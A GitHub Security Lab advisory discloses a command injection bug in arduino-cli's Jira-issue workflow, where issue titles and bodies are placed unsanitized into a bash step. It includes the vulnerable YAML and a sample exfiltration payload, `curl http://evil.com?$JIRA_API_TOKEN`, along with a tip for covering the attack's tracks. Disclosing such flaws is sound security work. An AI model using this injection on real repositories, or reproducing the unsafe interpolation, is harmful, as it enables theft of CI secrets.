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GHSL-2020-171: Command injection in arduino/arduino-cli workflow | GitHub Security Lab

skip to content Resources Open Source Community Enterprise / Security Lab Research Advisories CodeQL Wall of Fame Resources Open Source Community Enterprise Events Get Involved Coordinated Disclosure Timeline 10/14/2020: Report sent to vendor 10/15/2020: Vendor acknowledges report receipt 10/16/2020: Issue fixed Summary The ‘Jira-issue’ GitHub workflow is vulnerable to arbitrary command injection. Product Arduino-Cli GitHub repository Tested Version Jira-issue.yaml from the Master branch.

Details Issue: The title and body of a public GitHub issue are used to format a shell command When a user creates a public issue it automatically starts the Jira-issue.yaml GitHub workflow. The title and body of the issue are used without sanitization to format a bash script that invokes Jira. - name: Create issue run: | jira create \ --noedit \ -p ${ { secrets.JIRA_PROJECT_CODE } } \ -i Task \ -o summary = " ${ { github.event.issue.title } }" \ -o description = " ${ { github.event.issue.body } } ${ { github.event.issue.html_url } }" \ >> output Impact This vulnerability allows for arbitrary command injection into the bash script.

For example a user may create an issue with the title It doesn't work on my machine and body `curl http://evil.com?$JIRA_API_TOKEN` which will exfiltrate the secret Jira API token to the attacker controlled server. To make the attack less visible an attacker may modify the body of the issue to Never mind my bad. and close it. Credit This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski) .

Contact You can contact the GHSL team at securitylab@github.com , please include a reference to GHSL-2020-171 in any communication regarding this issue.